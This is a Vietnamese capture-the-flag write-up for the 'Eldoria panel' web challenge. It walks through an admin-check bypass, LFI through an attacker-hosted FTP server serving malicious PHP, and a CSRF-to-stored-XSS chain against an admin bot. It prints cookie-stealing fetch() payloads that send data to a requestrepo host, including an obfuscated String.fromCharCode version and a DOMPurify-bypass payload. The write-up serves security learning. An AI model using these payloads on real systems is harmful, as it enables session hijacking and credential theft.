Eldoria panel
[web] Eldoria panel - web - medium
Phân tích
Trang web có 4 chức năng chính:
- Đăng ký, đăng nhập
- Xem nhiệm vụ
- Nhận nhiệm vụ
- Đăng trạng thái cá nhân
Khi phân tích source code, ta phát hiện hàm middleware để check admin rất … :
1 | $adminApiKeyMiddleware = function (Request $request, $handler) use ($app) { |
Nghĩa là khi không có $_SESSION['user'] thì mới check xem có phải admin không,còn có $_SESSION['user'] thì không check gì cả =))) .
-> Có thể thoải mái dùng các chức năng của admin.
Tại endpoint POST /api/admin/appSettings:
1 | $app->post('/api/claimQuest', function (Request $request, Response $response, $args) { |
Có thể sửa các thuộc tính của server, trong đó có $GLOBALS['settings']['templatesPath'] để khai thác LFI thông qua protocol ftp:// .
Khai thác
Protocol ftp:// có thể bypass được hàm file_exists() nên ta có thể dựng một FTP server serve file PHP độc hại , sau đó thực hiện thay đổi thuộc tính templatesPath thành URL đến FTP server.
Tạo file chứa mã PHP độc hại (lưu ý đặt tên file giống tên các templates trong src code, ví dụ dashboard.php).
1 | // dashboard.php |
Hỏi chat GPT để dựng FTP server.
Thay đổi templatesPath thành URL đến FTP server:
image
Truy cập /dashboard để trigger code PHP và nhận request ở requestrepo :
image
Nhận về flag:
1 | echo "SFRCe2Y0azNfZmw0Z19mMHJfdDM1dDFuZ30=" | base64 -d |
P/S: CSRF -> XSS để lấy cookie Admin
Phân tích
Khả năng cao việc hàm middleware check admin là bug ngoài ý muốn của author nên vẫn có cách khác để lấy được cookie của admin.
Phân tích endpoint /api/updateStatus :
1 | // POST /api/updateStatus |
- CSRF
Ở đây API này không kiểm traContent-Type:$data = json_decode($request->getBody()->getContents(), true);
Dù yêu cầu body là JSON, nhưng attacker có thể gửi bằng form HTML với:enctype="text/plain"
PHP vẫn xử lý$_POSTnhưJSON→JSON injectiongiả mạo request. - Stored XSS
$_SESSION['user']['status'] = $newStatus;
Ở đây dữ liệustatusdo người dùng gửi vào được lưu vào session và DB mà không được lọc/escape, nghĩa là attacker có thể gửiHTML/JS→ nó sẽ được lưu lại - Con Bot “admin” chạy questUrl user cung cấp
$cmd = "nohup python3 run_bot.py " . escapeshellarg($questUrl) ...
Người dùng có thể cung cấp questUrl, và bot sẽ mở URL đó bằng Selenium (Chrome headless)
-> CSRF -> XSS -> Lấy cookie:
Exploit
Bước 1: Host trang độc hại
Host một trang HTML:
1 | <form action="http://127.0.0.1:80/api/updateStatus" method="POST" enctype="text/plain"> |
→ Khi bot truy cập trang này, nó gửi 1 JSON lỗi định dạng, nhưng PHP vẫn parse được → thay đổi status của admin → Stored XSS.
Bước 2: Stored XSS thực thi khi admin truy cập trang
Dùng DOMPurify bypass + JSON escaping (Đọc thêm tại đây ):
Payload JS gốc:
1 | fetch('https://7oih7imb.requestrepo.com/?c=' + encodeURIComponent(document.cookie)) |
Encode thành String.fromCharCode:
1 | eval(String.fromCharCode(102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,55,111,105,104,55,105,109,98,46,114,101,113,117,101,115,116,114,101,112,111,46,99,111,109,47,63,99,61,39,43,101,110,99,111,100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41)) |
Payload hoàn chỉnh:
1 | <form id=\\"x \\"><svg><style><a id=\\"</style><img src=x onerror=eval(String.fromCharCode(102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,55,111,105,104,55,105,109,98,46,114,101,113,117,101,115,116,114,101,112,111,46,99,111,109,47,63,99,61,39,43,101,110,99,111,100,101,85,82,73,67,111,109,112,111,110,101,110,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,41))>\\"></a></style></svg></form><input form=\\"x\\" name=\\"namespaceURI\\"> |
Bước 3: XSS lấy API Key admin
Payload thực thi JS trong trình duyệt admin:
1 | fetch('/api/user') |
Kết quả cuối:
Admin login → bị inject JS → leak API key
Attacker lấy được quyền admin full access